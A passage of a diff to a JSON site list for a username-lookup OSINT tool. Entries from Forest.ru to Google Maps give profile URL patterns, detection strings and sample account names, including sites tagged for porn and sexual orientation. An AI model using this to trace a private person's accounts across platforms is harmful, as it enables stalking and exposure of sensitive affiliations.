"status_code", + "alexaRank": 1460281, + "urlMain": "https://forest.ru/", + "url": "https://forest.ru/forum/user/{username}/", + "usernameClaimed": "veter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForexDengi": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 107102, + "urlMain": "https://forexdengi.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FortniteTracker": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "alexaRank": 9950, + "urlMain": "https://fortnitetracker.com/challenges", + "url": "https://fortnitetracker.com/profile/all/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Forum.glow-dm.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 6472644, + "urlMain": "http://forum.glow-dm.ru", + "usernameClaimed": "jkey", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forum.jambox.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://forum.jambox.ru", + "usernameClaimed": "ComManDX", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7726749 + }, + "Forum.quake2.com.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "," + ], + "urlMain": "http://forum.quake2.com.ru/", + "url": "http://forum.quake2.com.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Khidalov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forum29": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://forum29.net", + "usernameClaimed": "KISS", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7864363 + }, + "ForumEvaveda": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 942412, + "urlMain": "http://forum.evaveda.com/", + "usernameClaimed": "leisan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumHouse": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 18955, + "urlMain": "https://www.forumhouse.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumJizni": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2782478, + "urlMain": "http://www.forumjizni.ru", + "usernameClaimed": "luhoy2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumKinopoisk": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 163148, + "urlMain": "https://forumkinopoisk.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumOdUa": { + "disabled": true, + "tags": [ + "forum", + "ro", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 118763, + "urlMain": "https://forumodua.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumOszone": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 45176, + "urlMain": "http://forum.oszone.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumProSport": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 7963918, + "urlMain": "https://forumprosport.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumSmotri": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "urlMain": "https://forumsmotri.club", + "url": "https://forumsmotri.club/user/{username}/", + "presenseStrs": [ + "\u0411\u044b\u043b \u0442\u0443\u0442" + ], + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4855188 + }, + "ForumTauck": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "\u2014 Tauck Community" + ], + "urlMain": "https://forums.tauck.com", + "url": "https://forums.tauck.com/profile/{username}", + "usernameClaimed": "tashager", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumVancouver": { + "tags": [ + "ca", + "forum" + ], + "engine": "XenForo", + "urlMain": "http://www.forumvancouver.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4965742 + }, + "ForumYuristov": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2017536, + "urlMain": "https://forumyuristov.ru/", + "url": "https://forumyuristov.ru/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumophilia": { + "tags": [ + "forum", + "porn" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, but that user does not exist." + ], + "alexaRank": 21796, + "urlMain": "https://www.forumophilia.com", + "url": "https://www.forumophilia.com/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumreligions": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://forumreligions.ru", + "url": "https://forumreligions.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "ingvar", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3482229 + }, + "Forums-bluemoon-mcfc": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 312657, + "urlMain": "https://forums.bluemoon-mcfc.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumsi": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 4060509, + "urlMain": "http://www.forumsi.org", + "usernameClaimed": "Ahimas", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumteam": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 268366, + "urlMain": "https://forumteam.best/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fotothing": { + "disabled": true, + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "File Not Found" + ], + "alexaRank": 103043, + "urlMain": "http://www.fotothing.com", + "url": "http://www.fotothing.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Foursquare": { + "tags": [ + "geosocial", + "in" + ], + "checkType": "message", + "presenseStrs": [ + "Foursquare " + ], + "alexaRank": 3413, + "urlMain": "https://foursquare.com/", + "url": "https://foursquare.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fozo": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 619848, + "urlMain": "https://fozo.info/", + "url": "https://fozo.info/user/{username}/", + "usernameClaimed": "%D0%A8%D0%98%D0%9A", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fredmiranda": { + "tags": [ + "de", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "View Profile for" + ], + "alexaRank": 62153, + "urlMain": "https://www.fredmiranda.com", + "url": "https://www.fredmiranda.com/forum/viewprofile.php?Action=viewprofile&username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Framapiaf": { + "tags": [ + "mastodon" + ], + "checkType": "status_code", + "urlMain": "https://framapiaf.org", + "url": "https://framapiaf.org/@{username}", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Free-lance.ua": { + "tags": [ + "freelance", + "ua" + ], + "checkType": "status_code", + "alexaRank": 2295317, + "urlMain": "https://free-lance.ua/", + "url": "https://free-lance.ua/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Free-lancers": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 969213, + "urlMain": "http://www.free-lancers.net", + "url": "http://www.free-lancers.net/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freecodecamp": { + "tags": [ + "coding", + "education", + "forum" + ], + "engine": "Discourse", + "alexaRank": 1295, + "urlMain": "https://www.freecodecamp.org/forum/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelance.habr": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://freelance.habr.com/", + "url": "https://freelance.habr.com/freelancers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancebay": { + "tags": [ + "freelance", + "th" + ], + "checkType": "message", + "presenseStrs": [ + "\u0e2a\u0e21\u0e31\u0e04\u0e23\u0e2a\u0e21\u0e32\u0e0a\u0e34\u0e01\u0e40\u0e21\u0e37\u0e48\u0e2d" + ], + "alexaRank": 218599, + "urlMain": "https://www.freelancebay.com", + "url": "https://www.freelancebay.com/freelancer/{username}", + "usernameClaimed": "maysuphak", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelanced": { + "tags": [ + "freelance", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 554707, + "urlMain": "https://www.freelanced.com", + "url": "https://www.freelanced.com/{username}", + "usernameClaimed": "mattphilleo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancehunt": { + "tags": [ + "freelance", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 40932, + "urlMain": "https://freelancehunt.com", + "url": "https://freelancehunt.com/freelancer/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancer.com": { + "tags": [ + "freelance", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "\"users\":{}" + ], + "alexaRank": 661, + "urlMain": "https://www.freelancer.com/", + "url": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={username}&compact=true", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Freepik": { + "tags": [ + "art", + "photo", + "stock" + ], + "checkType": "status_code", + "alexaRank": 147, + "urlMain": "https://www.freepik.com", + "url": "https://www.freepik.com/{username}", + "usernameClaimed": "chevanon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freepo": { + "checkType": "response_url", + "alexaRank": 7571425, + "urlMain": "https://freepo.st", + "url": "https://freepo.st/freepost.cgi/user/public/{username}", + "usernameClaimed": "robocop", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "news" + ] + }, + "Freesound": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 10440, + "urlMain": "https://freesound.org/", + "url": "https://freesound.org/people/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Fullhub": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "title>\u0412\u044b\u0434\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 | FullHub: \u0424\u043e\u0440\u0443\u043c \u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445" + ], + "alexaRank": 1588355, + "urlMain": "https://fullhub.ru/", + "url": "https://fullhub.ru/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Funnyjunk": { + "tags": [ + "gb", + "us" + ], + "checkType": "response_url", + "alexaRank": 10023, + "urlMain": "https://funnyjunk.com/", + "url": "https://funnyjunk.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Funnyordie": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 50140, + "urlMain": "https://www.funnyordie.com", + "url": "https://www.funnyordie.com/users/{username}", + "usernameClaimed": "Marja_Berggren", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FurryFandom": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c" + ], + "alexaRank": 7935795, + "urlMain": "https://furry-fandom.ru/", + "url": "https://furry-fandom.ru/user?who={username}", + "usernameClaimed": "Finya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "G2g.com": { + "checkType": "message", + "presenseStrs": [ + "s Profile - G2G Games Marketplace" + ], + "absenceStrs": [ + "G2G: World Leading Digital Marketplace Platform" + ], + "url": "https://www.g2g.com/{username}", + "usernameClaimed": "user", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "G-news": { + "disabled": true, + "tags": [ + "in", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 5900519, + "urlMain": "https://g-news.com.ua", + "url": "https://g-news.com.ua/forum_smf/profile/{username}/", + "usernameClaimed": "Glukodrom", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GBAtemp.net": { + "tags": [ + "de", + "forum", + "gaming", + "us" + ], + "engine": "XenForo", + "alexaRank": 23803, + "urlMain": "https://gbatemp.net/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GDProfiles": { + "checkType": "status_code", + "alexaRank": 2899283, + "urlMain": "https://gdprofiles.com/", + "url": "https://gdprofiles.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "GGIZI": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 668582, + "urlMain": "https://gg-izi.ru/", + "url": "https://gg-izi.ru/user/{username}", + "usernameClaimed": "nimses", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GPS-Forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3646635, + "urlMain": "http://www.gps-forum.ru", + "url": "http://www.gps-forum.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sater", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gab": { + "tags": [ + "in", + "us" + ], + "urlProbe": "https://gab.com/api/v1/account_by_username/{username}", + "checkType": "status_code", + "presenseStrs": [ + "display_name" + ], + "absenceStrs": [ + "Record not found" + ], + "alexaRank": 2512, + "urlMain": "https://gab.com/", + "url": "https://gab.com/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "GaiaOnline": { + "tags": [ + "ro", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No user ID specified or user does not exist!" + ], + "alexaRank": 38258, + "urlMain": "https://www.gaiaonline.com/", + "url": "https://www.gaiaonline.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Galya": { + "disabled": true, + "similarSearch": true, + "tags": [ + "ru", + "us" + ], + "regexCheck": "^[^_]{3,}$", + "checkType": "message", + "absenceStrs": [ + "div class=error_message" + ], + "alexaRank": 77736, + "urlMain": "https://m.galya.ru", + "url": "https://m.galya.ru/search_result.php?searchstring={username}", + "usernameClaimed": "annledi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gam1ng": { + "disabled": true, + "tags": [ + "br", + "webcam" + ], + "errors": { + "Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "checkType": "status_code", + "urlMain": "https://gam1ng.com.br", + "url": "https://gam1ng.com.br/user/{username}", + "usernameClaimed": "PinKgirl", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Twitter Shadowban": { + "tags": [ + "jp", + "sa" + ], + "urlProbe": "https://shadowban.eu/.api/{username}", + "checkType": "message", + "presenseStrs": [ + "exists\": true" + ], + "absenceStrs": [ + "exists\": false" + ], + "alexaRank": 61030, + "urlMain": "https://shadowban.eu", + "url": "https://shadowban.eu/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gamblejoe": { + "tags": [ + "de", + "mk", + "ua" + ], + "checkType": "status_code", + "presenseStrs": [ + "profile-page" + ], + "alexaRank": 2094048, + "urlMain": "https://www.gamblejoe.com", + "url": "https://www.gamblejoe.com/profil/{username}/", + "usernameClaimed": "matthias", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GameRevolution": { + "tags": [ + "forum", + "gaming", + "us" + ], + "engine": "XenForo", + "alexaRank": 21572, + "urlMain": "https://forums.gamerevolution.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamefaqs": { + "tags": [ + "gaming", + "us" + ], + "regexCheck": "^\\S+$", + "errors": { + "Are You a Robot?": "Captcha detected", + "Your IP address has been temporarily blocked due to a large number of HTTP requests": "Too many requests", + "your IP was banned": "IP ban" + }, + "checkType": "message", + "absenceStrs": [ + "404 Error: Page Not Found" + ], + "presenseStrs": [ + "UserID" + ], + "alexaRank": 875, + "urlMain": "https://gamefaqs.gamespot.com", + "url": "https://gamefaqs.gamespot.com/community/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamesfrm": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 1306974, + "urlMain": "https://www.gamesfrm.com", + "usernameClaimed": "zampara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamespot": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 875, + "urlMain": "https://www.gamespot.com/", + "url": "https://www.gamespot.com/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Gamesubject": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 690202, + "urlMain": "https://gamesubject.com", + "url": "https://gamesubject.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gapyear": { + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 60505, + "urlMain": "https://www.gapyear.com", + "url": "https://www.gapyear.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GaragePunk": { + "tags": [ + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.garagepunk.com", + "url": "https://www.garagepunk.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3626803 + }, + "Garden": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 59582, + "urlMain": "https://garden.org", + "url": "https://garden.org/users/profile/{username}/", + "usernameClaimed": "Turbosaurus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gardening-forums": { + "tags": [ + "forum", + "ph" + ], + "engine": "XenForo", + "alexaRank": 712299, + "urlMain": "https://www.gardening-forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gardenstew": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 371220, + "urlMain": "https://www.gardenstew.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Gays": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1188634, + "urlMain": "https://www.gays.com", + "url": "https://www.gays.com/p/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Geekdoing": { + "tags": [ + "gr", + "in", + "ir" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1159327, + "urlMain": "https://geekdoing.com", + "url": "https://geekdoing.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Genius": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 453, + "urlMain": "https://genius.com/", + "url": "https://genius.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GeniusArtists": { + "checkType": "status_code", + "url": "https://genius.com/artists/{username}", + "usernameClaimed": "genius", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gentlemint": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 505328, + "urlMain": "https://gentlemint.com", + "url": "https://gentlemint.com/users/{username}/", + "usernameClaimed": "zamoose", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Geodesist": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 165765, + "urlMain": "https://geodesist.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "German242": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 499888, + "urlMain": "https://board.german242.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gesundheitsfrage": { + "checkType": "status_code", + "url": "https://www.gesundheitsfrage.net/nutzer/{username}", + "usernameClaimed": "gutefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Giantbomb": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15115, + "urlMain": "https://www.giantbomb.com", + "url": "https://www.giantbomb.com/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gigbucks": { + "tags": [ + "dz", + "eg", + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 135295, + "urlMain": "https://gigbucks.com/", + "url": "https://gigbucks.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gingerbread": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "presenseStrs": [ + "My Profile" + ], + "alexaRank": 240144, + "urlMain": "https://www.gingerbread.org.uk", + "url": "https://www.gingerbread.org.uk/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GipsysTeam": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 67758, + "urlMain": "https://site.gipsyteam.ru/", + "url": "https://site.gipsyteam.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gitbook": { + "checkType": "status_code", + "url": "https://{username}.gitbook.io/", + "usernameClaimed": "gitbook", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GitHub": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "urlProbe": "https://api.github.com/users/{username}", + "checkType": "status_code", + "alexaRank": 83, + "urlMain": "https://www.github.com/", + "url": "https://github.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GitLab": { + "tags": [ + "coding" + ], + "urlProbe": "https://gitlab.com/api/v4/users?username={username}", + "checkType": "message", + "absenceStrs": [ + "[]" + ], + "alexaRank": 4649, + "urlMain": "https://gitlab.com/", + "url": "https://gitlab.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gitee": { + "tags": [ + "cn" + ], + "checkType": "status_code", + "alexaRank": 5093, + "urlMain": "https://gitee.com/", + "url": "https://gitee.com/{username}", + "usernameClaimed": "wizzer", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Glav": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b." + ], + "alexaRank": 124671, + "urlMain": "https://glav.su", + "url": "https://glav.su/members/?searchName={username}", + "usernameClaimed": "gvf", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Glbyh": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 8093405, + "urlMain": "https://glbyh.ru/", + "usernameClaimed": "ufo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gliger": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.gliger.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Globalvoices": { + "tags": [ + "sv", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 ERROR: PAGE NOT FOUND" + ], + "alexaRank": 78089, + "urlMain": "https://globalvoices.org", + "url": "https://globalvoices.org/author/{username}/", + "usernameClaimed": "7iber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gnome-vcs": { + "checkType": "message", + "presenseStrs": [ + "Member since" + ], + "absenceStrs": [ + "You need to sign in or sign up" + ], + "url": "https://gitlab.gnome.org/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Go365": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 489173, + "urlMain": "https://community.go365.com", + "url": "https://community.go365.com/people/{username}", + "usernameClaimed": "go365admin3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gofundme": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 1260, + "urlMain": "https://www.gofundme.com", + "url": "https://www.gofundme.com/f/{username}", + "usernameClaimed": "adamcoussins", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gog": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 5343, + "urlMain": "https://www.gog.com/", + "url": "https://www.gog.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Golangbridge": { + "tags": [ + "forum", + "in", + "sa", + "ua", + "us", + "vn" + ], + "engine": "Discourse", + "alexaRank": 195689, + "urlMain": "https://forum.golangbridge.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Golbis": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 106111, + "urlMain": "https://golbis.com", + "url": "https://golbis.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Goldderby": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 37176, + "urlMain": "https://www.goldderby.com", + "url": "https://www.goldderby.com/members/{username}/", + "usernameClaimed": "dakardii", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Goldroyal": { + "tags": [ + "bd", + "by", + "forum", + "ru", + "ua", + "ve" + ], + "engine": "vBulletin", + "alexaRank": 260992, + "urlMain": "http://goldroyal.net", + "usernameClaimed": "anton33", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GolfMonthly": { + "tags": [ + "forum", + "gb", + "us" + ], + "engine": "XenForo", + "urlMain": "https://forums.golf-monthly.co.uk/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Good-music": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 5386313, + "urlMain": "http://good-music.kiev.ua", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GoodReads": { + "tags": [ + "books", + "us" + ], + "checkType": "status_code", + "alexaRank": 329, + "urlMain": "https://www.goodreads.com/", + "url": "https://www.goodreads.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Maps": { + "tags": [ + "maps", + "us" + ], + "type": "gaia_id", + "checkType": "message", + "presenseStrs": [ + "[\"Contributions by" + ], + "absenceStrs": [ + "My Contributions to Google Maps" + ], + "alexaRank": 1, + "urlMain": "https://maps.google.com/", + "url": "https://www.google.com/maps/contrib/{username}", + "usernameClaimed": "105054951427011407574", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Plus (archived)": { + "checkType": "message", + "type": "gaia_id", + "alexaRank": 1, + "presenseStrs": [ + "original" + ], + "absenceStrs": [ + "[]" + ], + "urlMain": "https://plus.google.com", + "urlProbe": "https://web.archive.org/web/timemap/?url=http%3A%2F%2Fplus.google.com%2F{username}&matchType=prefix&collapse=urlkey&output=json&fl=original%2Cmimetype%2Ctimestamp%2Cendtimestamp%2Cgroupcount%2Cuniqcount&filter=!statuscode%3A%5B45%5D..&limit=100000&_=1624789582128", + "url": "https://web.archive.org/web/*/plus.google.com/{username}*", + "usernameClaimed": "117522081019092547227", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GooglePlayStore": { + "tags": [ + "apps", + "us" + ], + "checkType": 